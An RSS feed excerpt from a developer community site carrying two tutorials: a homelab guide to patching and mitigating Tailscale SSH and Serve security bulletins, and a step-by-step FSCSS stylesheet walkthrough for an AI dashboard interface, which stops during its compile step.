<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged tutorial</title>
<link>https://coderlegion.com/tag/tutorial</link>
<description>Powered by Question2Answer</description>
<item>
<title>Tailscale 1.104.4 Patches Four SSH and Serve Bulletins: How to Remediate</title>
<link>https://coderlegion.com/33031/tailscale-1-104-4-patches-four-ssh-and-serve-bulletins-how-to-remediate</link>
<description>&lt;p&gt;Tailscale SSH is a popular feature in homelab setups because it lets you ditch traditional SSH key management entirely and lean on your Tailnet's identity model instead. That makes the recent security investigation and remediation update worth paying close attention to, even if your deployment is small.&lt;/p&gt;
&lt;p&gt;Tailscale published an investigation and remediation update covering a vulnerability in the Tailscale SSH feature. The short version: under certain conditions, an already authorized Tailscale SSH session could perform actions beyond the permissions of its configured local user. Tailscale published four bulletins dated 26 October 2026, TS-2026-014 through TS-2026-017, and fixed all four in client version 1.104.4, released on 28 October 2026. No CVE identifiers were assigned. Tailscale is explicit that authentication and access policy checks were not what failed, so this is a privilege escalation after authorization, not an ACL bypass. This post breaks down what that means for a homelab operator and what you should do right now.&lt;/p&gt;
&lt;h3 id=&quot;-why-this-matters-for-homelab-users&quot;&gt;💡 Why This Matters for Homelab Users&lt;/h3&gt;
&lt;p&gt;Tailscale SSH is attractive precisely because it ties SSH authorization to your Tailnet ACLs. You define who can reach which machine and on which user, and Tailscale enforces it. In this case that authorization layer held: the tailnet policy file still gated which users could reach which machines, and an unauthenticated attacker could not connect to arbitrary Tailscale SSH servers. What failed was the privilege boundary enforced after a session was authorized, which is how an authorized user could reach root only Unix sockets through SSH forwarding.&lt;/p&gt;
&lt;p&gt;Homelab deployments often have a mix of machines: NAS boxes, Proxmox hosts, Raspberry Pis, LXC containers. If Tailscale SSH is enabled broadly across those nodes, any privilege escalation in that path is a serious concern. Note the precondition that narrows it: TS-2026-014, the most serious of the four, only applies where your SSH access policy permits local or remote port forwarding. The good news is that Tailscale shipped the fix in 1.104.4 and the remediation steps are straightforward.&lt;/p&gt;
&lt;h3 id=&quot;-prerequisites&quot;&gt;🧰 Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tailscale installed on your nodes (check &lt;code&gt;tailscale version&lt;/code&gt; to confirm your current version)&lt;/li&gt;
&lt;li&gt;Access to your Tailscale admin console at &lt;a rel=&quot;nofollow&quot; href=&quot;https://login.tailscale.com/admin&quot;&gt;login.tailscale.com/admin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SSH or console access to each affected machine to run the upgrade&lt;/li&gt;
&lt;li&gt;Familiarity with your distro's package manager (apt, yum, pacman, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-what-the-vulnerability-was&quot;&gt;🔍 What the Vulnerability Was&lt;/h3&gt;
&lt;p&gt;According to Tailscale's bulletins, there were four issues, not one. Two affect Tailscale SSH: TS-2026-014, where Unix socket forwarding could give peers access to root only sockets, and TS-2026-015, where an authenticated peer could drive unbounded memory growth in tailscaled and cause a denial of service. Two affect Tailscale Serve: TS-2026-016, where Serve Unix backends could reach privileged sockets including the tailscaled local API socket, and TS-2026-017, a race condition that could send Tailscale-App-Capabilities values from one mount to requests for another. None of them affect the core WireGuard tunnel or standard SSH setups that only use Tailscale for networking. Machines running the Tailscale SSH server, or using Serve with TLS and multiple mounts, were the ones at risk.&lt;/p&gt;
&lt;p&gt;The attack surface required an authenticated Tailnet peer, so this was not an open internet exposure. That said, in a shared or multi-user Tailnet, or any environment where you do not fully control every peer, that distinction matters less than it sounds. Always treat a privilege escalation in an access control path as a serious issue regardless of the required preconditions.&lt;/p&gt;
&lt;p&gt;For the exact technical details of the vulnerability, including the four bulletins TS-2026-014 through TS-2026-017 and the fixed version 1.104.4, see tailscale.com/security-bulletins and the write up at tailscale.com/blog/tailscale-ssh-findings-fixes. No CVE identifiers were assigned to these bulletins, so do not go looking for one. The investigation timeline is at &lt;a rel=&quot;nofollow&quot; href=&quot;https://tailscale.com/ssh-investigation-update&quot;&gt;tailscale.com/ssh-investigation-update&lt;/a&gt;. Tailscale's write-up is the authoritative source and may be updated as the investigation continues.&lt;/p&gt;
&lt;h3 id=&quot;-remediation-steps&quot;&gt;🛡️ Remediation Steps&lt;/h3&gt;
&lt;p&gt;The primary fix is upgrading the Tailscale client to the patched version on every node where Tailscale SSH is enabled. Do this on all machines in your Tailnet, not just the ones you think are &quot;important.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Check your current Tailscale version on each node.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Update Tailscale using your distro's package manager. On Debian or Ubuntu-based systems:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install tailscale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On RPM-based systems (Fedora, Rocky, AlmaLinux):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf upgrade tailscale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Arch Linux:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -Syu tailscale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Restart the Tailscale daemon after upgrading to make sure the new version is fully active.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart tailscaled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Confirm the updated version is running.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need 1.104.4 or newer on every node. Cross-reference the output against that before moving on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; If you cannot immediately upgrade a node, Tailscale's own recommended mitigation is to disable SSH forwarding, not to disable Tailscale SSH. Set &lt;code&gt;TS_SSH_DISABLE_FORWARDING=1&lt;/code&gt; in the tailscaled service environment and restart the service. That addresses TS-2026-014, the most serious of the four, and it leaves Tailscale SSH working. Tailscale explicitly does not recommend disabling Tailscale SSH entirely. Also review your SSH access policy so only the users and devices that need access have it. If you nonetheless want to turn Tailscale SSH off on a node, the command is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo tailscale set --ssh=false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This disables the Tailscale SSH feature on that node while leaving your normal Tailscale network connectivity intact. You can still reach the machine over your Tailnet and use traditional SSH on port 22 with your existing keys.&lt;/p&gt;
&lt;h3 id=&quot;-audit-your-acl-policy-while-you-are-at-it&quot;&gt;🔧 Audit Your ACL Policy While You Are At It&lt;/h3&gt;
&lt;p&gt;Incidents like this are a good forcing function to review your ACL policy in the admin console. A few things worth checking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are you granting Tailscale SSH access only to specific users and specific destination tags, rather than using wildcard rules?&lt;/li&gt;
&lt;li&gt;Do you have &lt;code&gt;checkPeriod&lt;/code&gt; set on your SSH rules, alongside a &lt;code&gt;check&lt;/code&gt; action, so that re-authentication is required after a defined interval? The field is camelCase, it only applies to check actions, and the default is 12 hours.&lt;/li&gt;
&lt;li&gt;Are there any old test rules or overly broad grants you added and forgot about?&lt;/li&gt;
&lt;li&gt;Are your node tags accurate and not applied to machines they should not cover?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The principle of least privilege applies just as much to Tailscale ACLs as it does to anything else. Tighter rules mean a smaller blast radius if something like this happens again.&lt;/p&gt;
&lt;h3 id=&quot;-troubleshooting&quot;&gt;🔧 Troubleshooting&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Tailscale is not in my distro's default repo.&lt;/strong&gt; If you installed Tailscale from the official Tailscale repo (which is the recommended method), the &lt;code&gt;apt&lt;/code&gt; or &lt;code&gt;dnf&lt;/code&gt; commands above will pull from that repo automatically. If you installed it another way, check the &lt;a rel=&quot;nofollow&quot; href=&quot;https://tailscale.com/download&quot;&gt;Tailscale download page&lt;/a&gt; for your platform's update instructions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am running Tailscale in Docker.&lt;/strong&gt; Pull the latest image tag from the official Tailscale Docker image and redeploy your container. Check the image's release notes or Tailscale's changelog to confirm the patched version is included before pulling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am running Tailscale on a Raspberry Pi or other ARM device.&lt;/strong&gt; The standard package manager update commands work the same way on ARM. Confirm &lt;code&gt;tailscale version&lt;/code&gt; reflects the patched release after upgrading.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Making the change persist.&lt;/strong&gt; Preferences changed with &lt;code&gt;tailscale set&lt;/code&gt; are stored in the node's state and survive a reboot. &lt;code&gt;tailscale up&lt;/code&gt; behaves differently: its flags are not persisted between runs, so you must pass every flag you want on each invocation, which is exactly why &lt;code&gt;tailscale set&lt;/code&gt; is the right command for flipping one preference. If you are applying the &lt;code&gt;TS_SSH_DISABLE_FORWARDING=1&lt;/code&gt; mitigation, put it in a systemd drop-in for tailscaled so the variable survives a restart.&lt;/p&gt;
&lt;h3 id=&quot;-wrap-up&quot;&gt;✅ Wrap Up&lt;/h3&gt;
&lt;p&gt;Tailscale SSH is a genuinely useful feature that simplifies access management across a homelab. But convenience features that sit in the authentication path need to be kept patched and configured tightly. The remediation here is low friction: update the client, restart the daemon, verify the version.&lt;/p&gt;
&lt;p&gt;If you cannot patch right now, set &lt;code&gt;TS_SSH_DISABLE_FORWARDING=1&lt;/code&gt; on tailscaled and tighten your SSH access policy to the users and devices that genuinely need it. That is Tailscale's own recommended interim state, and it keeps Tailscale SSH working rather than forcing you back onto key management. If you run headscale rather than Tailscale's coordination server, be aware that the related headscale issues were reported as still unpatched at the time of writing, so updating the client alone may not cover you. Once you are patched, take a few minutes to audit your ACL policy and tighten any rules that are broader than they need to be. That work pays dividends the next time something like this surfaces.&lt;/p&gt;
&lt;p&gt;For the full technical disclosure and any updates to the investigation, keep an eye on &lt;a rel=&quot;nofollow&quot; href=&quot;https://tailscale.com/ssh-investigation-update&quot;&gt;tailscale.com/ssh-investigation-update&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Originally published at &lt;a rel=&quot;nofollow&quot; href=&quot;https://codewithromi.com/tailscale-ssh-vulnerability-what-happened-and-how-to-remediate-it-in-your-homelab/&quot;&gt;codewithromi.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/33031/tailscale-1-104-4-patches-four-ssh-and-serve-bulletins-how-to-remediate</guid>
<pubDate>Fri, 30 Oct 2026 03:58:00 +0000</pubDate>
</item>
<item>
<title>Build an AI Ops Dashboard with FSCSS modules (ai-ui, st-core, circle-progress, overlapui)</title>
<link>https://coderlegion.com/32863/build-an-ai-ops-dashboard-with-fscss-modules-ai-ui-st-core-circle-progress-overlapui</link>
<description>&lt;blockquote&gt;&lt;p&gt;A step by step tutorial for building a responsive AI dashboard with compiled FSCSS, pure CSS charts, progress rings, stacked avatars, and plain JavaScript. No framework, no build tool beyond the FSCSS CLI.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you have ever built an AI product UI, you know the pattern. A sidebar, a chat column, a metrics panel, a streaming caret, some usage cards. It is a lot of CSS before you write a single line of product logic.&lt;/p&gt;
&lt;p&gt;In this tutorial we build an &lt;strong&gt;AI Ops Console&lt;/strong&gt; using four FSCSS modules, compile everything to one plain CSS file, and wire it up with a small vanilla JavaScript layer. No frameworks. No runtime preprocessor in the browser.&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://codepen.io/editor/David-Hux/pen/01a181f1-e94a-7029-9f5f-894ea531b2fc&quot;&gt;CodePen preview&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;what-we-are-building&quot;&gt;What we are building&lt;/h3&gt;
&lt;p&gt;An AI Ops Console with a desktop layout (sidebar, chat, metrics panel) and a mobile layout (hamburger sidebar drawer, bottom sheet metrics panel at 960px and below).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Surface &lt;/th&gt;&lt;th&gt;Module&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;App shell, sidebar, messages, prompt, stream caret, thinking dots, usage cards, workflow nodes, tool chips, citations &lt;/td&gt;&lt;td&gt;&lt;strong&gt;ai-ui.fscss&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Token burn area and line chart (clip-path, no SVG or canvas) &lt;/td&gt;&lt;td&gt;&lt;strong&gt;st-core@v2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;GPU, Queue and Quota rings &lt;/td&gt;&lt;td&gt;&lt;strong&gt;circle-progress&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Team avatar stack &lt;/td&gt;&lt;td&gt;&lt;strong&gt;overlapui&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mock agent replies, live chart nudges, mobile drawers &lt;/td&gt;&lt;td&gt;&lt;strong&gt;dashboard.js&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The project is split into four files:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;ai-dashboard/
├── dashboard.html      # markup only
├── dashboard.fscss     # all FSCSS + layout
├── dashboard.css       # compiled output (generated)
└── dashboard.js        # chat, drawers, chart updates
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You compile once and ship plain CSS.&lt;/p&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Node.js 18 or newer (for the FSCSS CLI)&lt;/li&gt;
&lt;li&gt;A modern browser&lt;/li&gt;
&lt;li&gt;Optional: VS Code with the &lt;a rel=&quot;nofollow&quot; href=&quot;https://marketplace.visualstudio.com/items?itemName=Figsh.fscss&quot;&gt;FSCSS Support&lt;/a&gt; extension&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Install the compiler globally:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g fscss@1.2.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need &lt;strong&gt;FSCSS 1.2.6 or newer&lt;/strong&gt;. ai-ui requires it, and st-core needs 1.2.3 or newer.&lt;/p&gt;
&lt;h3 id=&quot;1-project-setup&quot;&gt;1. Project setup&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir ai-dashboard &amp;amp;&amp;amp; cd ai-dashboard
touch dashboard.html dashboard.fscss dashboard.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;dashboard.css&lt;/code&gt; will be generated by the CLI in step 3.&lt;/p&gt;
&lt;h3 id=&quot;2-dashboard-fscss-the-styles-source&quot;&gt;2. dashboard.fscss: the styles source&lt;/h3&gt;
&lt;p&gt;This file imports the four modules, calls their helpers against your own class names, defines the chart series, and holds all layout and responsive rules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* dashboard.fscss
   AI Ops Dashboard: FSCSS source
   Compile:  fscss dashboard.fscss dashboard.css
*/

/* Modules (registry names; CLI + runtime resolve these) */
@import((*) from ai-ui)
@import((*) from st-core@v2)
@import((*) from circle-progress)
@import((*) from overlapui)

/* Theme + design tokens */
@ai-compose-dashboard()   /* ai-ui tokens + dashboard theme */
@st-root()                /* st-core chart tokens */
@progress-root()          /* circle-progress tokens */
@ou-root()                /* overlapui tokens */

/* ai-ui structure helpers */
@ai-shell(.ai-shell)
@ai-sidebar(.ai-sidebar)
@ai-main(.ai-main)
@ai-messages(.ai-messages)
@ai-message(.ai-message)
@ai-message-user(.ai-message-user)
@ai-message-assistant(.ai-message-assistant)
@ai-bubble(.ai-bubble)
@ai-avatar(.ai-avatar)
@ai-prompt(.ai-prompt)
@ai-prompt-box(.ai-prompt-box)
@ai-prompt-send(.ai-prompt-send)
@ai-stream(.ai-stream)
@ai-thinking(.ai-thinking)
@ai-usage(.ai-usage)
@ai-stat(.ai-stat)
@ai-workflow(.ai-workflow)
@ai-node(.ai-node)
@ai-edge(.ai-edge)
@ai-tools(.ai-tools)
@ai-tool-chip(.ai-tool-chip)
@ai-card(.ai-card)
@ai-divider(.ai-divider)
@ai-citations(.ai-citations)
@ai-citation(.ai-citation)

/* st-core linear chart */
@arr tokenSeries[32, 48, 55, 42, 68, 75, 61, 88, 72, 91, 84, 96]

@st-chart-fill(.chart-fill, tokenSeries)
@st-chart-line(.chart-line, tokenSeries)

.token-chart {
  @st-chart-points(tokenSeries)
  position: relative;
  height: 160px;
  width: 100%;
  background: var(--st-surface, #161422);
  border-radius: 12px;
  overflow: hidden;
}

/* circle-progress */
@circle-progress(.cp)
.cp-72 { @progress-range(72) }
.cp-48 { @progress-range(48) }
.cp-91 { @progress-range(91) }

.cp {
  --progress-size: 110px;
  --progress-stroke: 10px;
  --progress-color-bg: transparent;
  --progress-color-track: rgba(255, 255, 255, 0.08);
  --progress-color-arc: var(--ai-accent, #e879f9);
  --progress-color-glow: color-mix(in srgb, var(--ai-accent, #e879f9) 40%, transparent);
  --progress-color-value: var(--ai-text, #f5f3ff);
  --progress-color-label: var(--ai-text-muted, #a78bfa);
  font-size: 0.95rem;
  font-weight: 600;
}

/* overlapui avatars */
@avatar-overlap(.team-faces)
.team-faces {
  --ou-avatar-size: 36px;
  --ou-overlap: -12px;
  margin-block: 8px;
}

/* Base layout */
* { box-sizing: border-box; margin: 0; padding: 0; }

html, body {
  height: 100%;
  font-family: var(--ai-font, system-ui, -apple-system, sans-serif);
  background: var(--ai-bg, #0c0a12);
  color: var(--ai-text, #f5f3ff);
  -webkit-text-size-adjust: 100%;
}

.ai-shell {
  min-height: 100vh;
  min-height: 100dvh;
  height: 100vh;
  height: 100dvh;
  display: grid;
  grid-template-columns: var(--ai-sidebar-w, 240px) 1fr;
}

.ai-sidebar {
  display: flex;
  flex-direction: column;
  gap: 16px;
  padding: 20px 16px;
  overflow-y: auto;
  border-right: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  background: var(--ai-bg, #0c0a12);
  z-index: 40;
}

.brand {
  display: flex;
  align-items: center;
  gap: 10px;
  font-weight: 700;
  font-size: 1.05rem;
  letter-spacing: -0.02em;
}
.brand-mark {
  width: 28px;
  height: 28px;
  border-radius: 8px;
  background: linear-gradient(135deg, var(--ai-accent, #e879f9), #818cf8);
  display: grid;
  place-items: center;
  font-size: 0.75rem;
  font-weight: 800;
  color: #0c0a12;
  flex-shrink: 0;
}

.nav {
  display: flex;
  flex-direction: column;
  gap: 4px;
}
.nav a {
  display: flex;
  align-items: center;
  gap: 10px;
  padding: 8px 12px;
  border-radius: 8px;
  color: var(--ai-text-muted, #a78bfa);
  text-decoration: none;
  font-size: 0.875rem;
  transition: background 0.15s, color 0.15s;
}
.nav a:hover,
.nav a.active {
  background: color-mix(in srgb, var(--ai-accent, #e879f9) 12%, transparent);
  color: var(--ai-text, #f5f3ff);
}

.side-section {
  display: flex;
  flex-direction: column;
  gap: 8px;
}
.side-section h3 {
  font-size: 0.7rem;
  text-transform: uppercase;
  letter-spacing: 0.06em;
  color: var(--ai-text-muted, #a78bfa);
  font-weight: 600;
}

.cp-row {
  display: flex;
  justify-content: space-between;
  gap: 8px;
  flex-wrap: wrap;
}
.cp-item {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 4px;
  font-size: 0.7rem;
  color: var(--ai-text-muted, #a78bfa);
}

.ai-main {
  display: flex;
  flex-direction: column;
  min-height: 0;
  min-width: 0;
  overflow: hidden;
}

.topbar {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 12px 16px;
  border-bottom: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  gap: 10px;
  flex-wrap: wrap;
  flex-shrink: 0;
}
.topbar h1 {
  font-size: 1rem;
  font-weight: 600;
}
.topbar-actions {
  display: flex;
  gap: 8px;
  align-items: center;
  flex-wrap: wrap;
}
.chip {
  font-size: 0.75rem;
  padding: 4px 10px;
  border-radius: 999px;
  background: color-mix(in srgb, var(--ai-accent, #e879f9) 15%, transparent);
  color: var(--ai-accent, #e879f9);
  border: 1px solid color-mix(in srgb, var(--ai-accent, #e879f9) 30%, transparent);
  white-space: nowrap;
}

.workspace {
  flex: 1;
  display: grid;
  grid-template-columns: 1fr minmax(260px, 320px);
  min-height: 0;
  overflow: hidden;
}

.chat-col {
  display: flex;
  flex-direction: column;
  min-height: 0;
  min-width: 0;
  border-right: 1px solid var(--ai-border, rgba(255, 255, 255, 0.06));
}

.ai-messages {
  flex: 1;
  overflow-y: auto;
  padding: 16px;
  display: flex;
  flex-direction: column;
  gap: 14px;
  -webkit-overflow-scrolling: touch;
}

.ai-prompt {
  padding: 12px 16px calc(16px + env(safe-area-inset-bottom, 0px));
  border-top: 1px solid var(--ai-border, rgba(255, 255, 255, 0.06));
  flex-shrink: 0;
}

.right-panel {
  display: flex;
  flex-direction: column;
  gap: 16px;
  padding: 16px;
  overflow-y: auto;
  background: color-mix(in srgb, var(--ai-surface, #12101a) 80%, transparent);
  -webkit-overflow-scrolling: touch;
}

.panel-card {
  background: var(--ai-card, #1a1625);
  border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  border-radius: 12px;
  padding: 14px;
}
.panel-card h3 {
  font-size: 0.8rem;
  font-weight: 600;
  margin-bottom: 10px;
  color: var(--ai-text-muted, #a78bfa);
}

.ai-workflow {
  display: flex;
  align-items: center;
  gap: 6px;
  flex-wrap: wrap;
  font-size: 0.75rem;
}
.ai-node {
  padding: 6px 10px;
  border-radius: 6px;
  background: var(--ai-surface, #161422);
  border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.1));
}
.ai-node.is-active {
  border-color: var(--ai-accent, #e879f9);
  color: var(--ai-accent, #e879f9);
  box-shadow: 0 0 0 1px color-mix(in srgb, var(--ai-accent, #e879f9) 40%, transparent);
}
.ai-edge {
  width: 16px;
  height: 2px;
  background: var(--ai-border, rgba(255, 255, 255, 0.2));
}

.ai-usage {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 10px;
}
.ai-stat {
  background: var(--ai-surface, #161422);
  border-radius: 10px;
  padding: 10px 12px;
}
.ai-stat-label {
  display: block;
  font-size: 0.65rem;
  text-transform: uppercase;
  letter-spacing: 0.04em;
  color: var(--ai-text-muted, #a78bfa);
  margin-bottom: 4px;
}
.ai-stat-value {
  font-size: 1.15rem;
  font-weight: 700;
  letter-spacing: -0.02em;
}
.ai-stat-delta {
  font-size: 0.7rem;
  margin-left: 6px;
}
.ai-stat-delta.up { color: #4fffb0; }
.ai-stat-delta.down { color: #ff5e7d; }

.ai-tools {
  display: flex;
  flex-wrap: wrap;
  gap: 6px;
}
.ai-tool-chip {
  font-size: 0.7rem;
  padding: 4px 8px;
  border-radius: 6px;
  background: var(--ai-surface, #161422);
  border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.1));
}
.ai-tool-chip.is-done { border-color: #4fffb0; color: #4fffb0; }
.ai-tool-chip.is-running { border-color: var(--ai-accent, #e879f9); color: var(--ai-accent, #e879f9); }

.muted {
  color: var(--ai-text-muted, #a78bfa);
  font-size: 0.8rem;
}

/* Mobile controls (hidden on desktop) */
.menu-btn,
.panel-btn,
.sidebar-backdrop {
  display: none;
}

/* TABLET &amp;lt;= 960px */
@media (max-width: 960px) {
  .ai-shell {
    grid-template-columns: 1fr;
  }

  .ai-sidebar {
    position: fixed;
    inset: 0 auto 0 0;
    width: min(280px, 86vw);
    transform: translateX(-105%);
    transition: transform 0.25s ease;
    box-shadow: none;
    border-right: 1px solid var(--ai-border, rgba(255, 255, 255, 0.08));
  }
  body.sidebar-open .ai-sidebar {
    transform: translateX(0);
    box-shadow: 8px 0 32px rgba(0, 0, 0, 0.45);
  }

  .sidebar-backdrop {
    display: block;
    position: fixed;
    inset: 0;
    background: rgba(0, 0, 0, 0.5);
    z-index: 35;
    opacity: 0;
    pointer-events: none;
    transition: opacity 0.25s ease;
  }
  body.sidebar-open .sidebar-backdrop {
    opacity: 1;
    pointer-events: auto;
  }

  .menu-btn,
  .panel-btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 36px;
    height: 36px;
    border-radius: 8px;
    border: 1px solid var(--ai-border, rgba(255, 255, 255, 0.12));
    background: var(--ai-surface, #161422);
    color: var(--ai-text, #f5f3ff);
    cursor: pointer;
    font-size: 1.1rem;
    flex-shrink: 0;
    line-height: 1;
  }

  .topbar {
    padding: 10px 12px;
    gap: 8px;
  }
  .topbar h1 {
    font-size: 0.95rem;
    flex: 1;
    min-width: 0;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
  }
  .topbar-actions { gap: 6px; }
  .chip {
    font-size: 0.7rem;
    padding: 3px 8px;
  }
  #model-chip { display: none; }

  .workspace {
    grid-template-columns: 1fr;
    grid-template-rows: 1fr;
    position: relative;
  }
  .chat-col {
    border-right: none;
    min-height: 0;
  }

  .right-panel {
    position: fixed;
    inset: auto 0 0 0;
    max-height: min(72vh, 560px);
    border-radius: 16px 16px 0 0;
    border-top: 1px solid var(--ai-border, rgba(255, 255, 255, 0.1));
    transform: translateY(110%);
    transition: transform 0.28s ease;
    z-index: 30;
    box-shadow: 0 -8px 32px rgba(0, 0, 0, 0.4);
    padding-bottom: calc(16px + env(safe-area-inset-bottom, 0px));
  }
  body.panel-open .right-panel {
    transform: translateY(0);
  }
  .right-panel::before {
    content: &quot;&quot;;
    display: block;
    width: 36px;
    height: 4px;
    border-radius: 999px;
    background: rgba(255, 255, 255, 0.2);
    margin: 0 auto 10px;
  }

  .token-chart { height: 140px; }
  .cp {
    --progress-size: 88px;
    --progress-stroke: 8px;
    font-size: 0.85rem;
  }
}

/* PHONE &amp;lt;= 600px */
@media (max-width: 600px) {
  .ai-messages {
    padding: 12px;
    gap: 12px;
  }
  .ai-prompt {
    padding: 10px 12px calc(12px + env(safe-area-inset-bottom, 0px));
  }
  .ai-usage {
    grid-template-columns: 1fr 1fr;
    gap: 8px;
  }
  .ai-stat { padding: 8px 10px; }
  .ai-stat-value { font-size: 1rem; }

  .cp-row {
    justify-content: center;
    gap: 12px;
  }
  .cp {
    --progress-size: 76px;
    --progress-stroke: 7px;
    font-size: 0.8rem;
  }

  .panel-card { padding: 12px; }
  .ai-workflow { gap: 4px; }
  .ai-node {
    padding: 5px 8px;
    font-size: 0.7rem;
  }
  .ai-edge { width: 10px; }

  .team-faces {
    --ou-avatar-size: 32px;
    --ou-overlap: -10px;
  }
  .ai-bubble { font-size: 0.9rem; }
}

/* VERY NARROW &amp;lt;= 380px */
@media (max-width: 380px) {
  .ai-usage { grid-template-columns: 1fr; }
  .chip#btn-refresh {
    padding: 3px 6px;
    font-size: 0.65rem;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;why-this-structure-works&quot;&gt;Why this structure works&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Import&lt;/strong&gt; only registers &lt;code&gt;@define&lt;/code&gt; helpers. Nothing paints until you call them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compose and root helpers&lt;/strong&gt; write design tokens on &lt;code&gt;:root&lt;/code&gt; (or a scope).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Selector-parameterized helpers&lt;/strong&gt; such as &lt;code&gt;@ai-shell(.ai-shell)&lt;/code&gt; and &lt;code&gt;@st-chart-fill(.chart-fill, tokenSeries)&lt;/code&gt; attach rules to your own class names.&lt;/li&gt;
&lt;li&gt;Plain CSS after that is normal layout, overrides and media queries.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Can also use remote URLs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@import((*) from &quot;https://cdn.jsdelivr.net/gh/fscss-ttr/ai-ui.fscss@main/ai-ui.fscss&quot;)
@import((*) from &quot;https://cdn.jsdelivr.net/gh/fscss-ttr/st-core.fscss@main/st-core%40v2.fscss&quot;)
@import((*) from &quot;https://cdn.jsdelivr.net/gh/fscss-ttr/FSCSS@main/xf/styles/circle-progress.fscss&quot;)
@import((*) from &quot;https://cdn.jsdelivr.net/gh/fscss-ttr/FSCSS@main/xf/styles/overlapui.fscss&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;3-compile-fscss-to-css&quot;&gt;3. Compile FSCSS to CSS&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# one-shot
fscss dashboard.fscss dashboard.css

# watch (recompile on save), if your fscss build supports it
# fscss dashboard.fscss dashboard.css --watch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The compiler:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Expands every &lt;code&gt;@import&lt;/code&gt;, &lt;code&gt;@define&lt;/code&gt; and &lt;code&gt;@arr&lt;/code&gt; into standard CSS&lt;/li&gt;
